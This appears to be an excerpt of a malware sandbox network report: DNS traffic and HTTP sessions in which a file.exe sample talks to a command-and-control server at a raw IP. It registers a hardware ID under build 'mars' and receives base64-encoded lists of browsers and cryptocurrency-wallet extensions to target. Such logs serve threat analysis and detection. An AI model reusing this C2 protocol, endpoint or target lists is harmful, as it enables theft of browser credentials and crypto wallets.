Nov 24, 2024 23:24:50.879479885 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.879492044 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.879523993 CET	49885	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 23:24:14.587903023 CET	192.168.2.5	1.1.1.1	0x6d7f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:14.588018894 CET	192.168.2.5	1.1.1.1	0x763c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 24, 2024 23:24:24.389276981 CET	192.168.2.5	1.1.1.1	0xece7	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:24.390454054 CET	192.168.2.5	1.1.1.1	0x90d8	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 24, 2024 23:24:26.910191059 CET	192.168.2.5	1.1.1.1	0xa59e	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:26.910360098 CET	192.168.2.5	1.1.1.1	0xa759	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 24, 2024 23:24:27.863080025 CET	192.168.2.5	1.1.1.1	0xc327	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:27.863223076 CET	192.168.2.5	1.1.1.1	0x7ae9	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 24, 2024 23:24:28.708214045 CET	192.168.2.5	1.1.1.1	0x3295	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:28.708868027 CET	192.168.2.5	1.1.1.1	0xff4b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 23:24:28.709278107 CET	192.168.2.5	1.1.1.1	0x2cc6	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:28.709856033 CET	192.168.2.5	1.1.1.1	0xecd6	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 23:24:28.990050077 CET	192.168.2.5	1.1.1.1	0x73ca	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:28.990237951 CET	192.168.2.5	1.1.1.1	0x2de5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 23:24:29.660901070 CET	192.168.2.5	1.1.1.1	0x527a	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:29.661051035 CET	192.168.2.5	1.1.1.1	0x86d1	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 24, 2024 23:24:29.671108007 CET	192.168.2.5	1.1.1.1	0x5e34	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:29.671327114 CET	192.168.2.5	1.1.1.1	0x788f	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 24, 2024 23:24:29.807904959 CET	192.168.2.5	1.1.1.1	0x7ba8	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:29.808187962 CET	192.168.2.5	1.1.1.1	0x75e5	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 24, 2024 23:24:29.949429035 CET	192.168.2.5	1.1.1.1	0xcbf6	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:29.949585915 CET	192.168.2.5	1.1.1.1	0x3f09	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 24, 2024 23:25:28.705727100 CET	192.168.2.5	1.1.1.1	0xd486	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:25:28.705884933 CET	192.168.2.5	1.1.1.1	0x598d	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 23:24:14.725044012 CET	1.1.1.1	192.168.2.5	0x763c	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 23:24:14.725249052 CET	1.1.1.1	192.168.2.5	0x6d7f	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:24.525960922 CET	1.1.1.1	192.168.2.5	0xece7	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 23:24:24.529715061 CET	1.1.1.1	192.168.2.5	0x90d8	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 23:24:24.873250008 CET	1.1.1.1	192.168.2.5	0x515c	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 23:24:24.873250008 CET	1.1.1.1	192.168.2.5	0x515c	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:25.060240030 CET	1.1.1.1	192.168.2.5	0x2a32	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 23:24:27.048391104 CET	1.1.1.1	192.168.2.5	0xa759	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 23:24:27.133882999 CET	1.1.1.1	192.168.2.5	0xa59e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 23:24:28.000730991 CET	1.1.1.1	192.168.2.5	0x7ae9	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 23:24:28.000921965 CET	1.1.1.1	192.168.2.5	0xc327	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 23:24:28.000921965 CET	1.1.1.1	192.168.2.5	0xc327	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:28.845357895 CET	1.1.1.1	192.168.2.5	0x3295	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:28.845357895 CET	1.1.1.1	192.168.2.5	0x3295	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:28.845735073 CET	1.1.1.1	192.168.2.5	0xff4b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 23:24:28.846101046 CET	1.1.1.1	192.168.2.5	0x2cc6	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:28.846101046 CET	1.1.1.1	192.168.2.5	0x2cc6	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:28.846565962 CET	1.1.1.1	192.168.2.5	0xecd6	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 23:24:29.127079010 CET	1.1.1.1	192.168.2.5	0x2de5	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 23:24:29.127105951 CET	1.1.1.1	192.168.2.5	0x73ca	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:29.127105951 CET	1.1.1.1	192.168.2.5	0x73ca	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:29.798789024 CET	1.1.1.1	192.168.2.5	0x527a	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:29.798789024 CET	1.1.1.1	192.168.2.5	0x527a	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:29.798789024 CET	1.1.1.1	192.168.2.5	0x527a	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:29.798789024 CET	1.1.1.1	192.168.2.5	0x527a	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:24:29.808767080 CET	1.1.1.1	192.168.2.5	0x5e34	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 23:24:29.809334993 CET	1.1.1.1	192.168.2.5	0x788f	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 23:24:29.944495916 CET	1.1.1.1	192.168.2.5	0x7ba8	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 23:24:29.946213961 CET	1.1.1.1	192.168.2.5	0x75e5	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 23:24:30.087364912 CET	1.1.1.1	192.168.2.5	0xcbf6	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 23:24:30.091362000 CET	1.1.1.1	192.168.2.5	0x3f09	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 23:24:32.800471067 CET	1.1.1.1	192.168.2.5	0xd2a	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 23:24:32.800471067 CET	1.1.1.1	192.168.2.5	0xd2a	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 23:25:28.844618082 CET	1.1.1.1	192.168.2.5	0x598d	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 23:25:28.938680887 CET	1.1.1.1	192.168.2.5	0xd486	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	1680	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 23:24:04.088176966 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 23:24:05.494160891 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 23:24:05.538913012 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 39 32 46 41 46 46 42 30 41 34 32 39 33 36 30 35 30 34 37 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="hwid"F592FAFFB0A42936050476------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="build"mars------KKEBKJJDGHCBGCAAKEHD--
Nov 24, 2024 23:24:06.005853891 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6a 6b 33 4e 44 55 32 59 6a 41 79 59 7a 4e 69 4e 54 4d 79 4d 6d 52 68 5a 54 42 69 4e 6a 46 69 59 54 51 7a 4d 7a 55 79 4d 32 51 31 59 57 4a 6b 4f 54 42 69 4d 44 49 30 4e 44 42 6d 4d 6a 49 78 59 7a 4d 77 4e 44 55 7a 4e 44 45 30 59 54 45 31 4e 57 4a 6b 4e 32 5a 69 4f 44 41 30 59 54 59 7a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: Yjk3NDU2YjAyYzNiNTMyMmRhZTBiNjFiYTQzMzUyM2Q1YWJkOTBiMDI0NDBmMjIxYzMwNDUzNDE0YTE1NWJkN2ZiODA0YTYzfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 24, 2024 23:24:06.007781029 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCGDAAKFHIDBFIDBKFH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 2d 2d 0d 0a Data Ascii: ------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="message"browsers------BFCGDAAKFHIDBFIDBKFH--
Nov 24, 2024 23:24:06.464512110 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 24, 2024 23:24:06.464582920 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 24, 2024 23:24:06.466476917 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGHJJEHDHCAAKFIIDGI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 2d 2d 0d 0a Data Ascii: ------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="message"plugins------ECGHJJEHDHCAAKFIIDGI--
Nov 24, 2024 23:24:06.924824953 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 24, 2024 23:24:06.924844027 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 24, 2024 23:24:06.924856901 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 24, 2024 23:24:06.924869061 CET	372	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
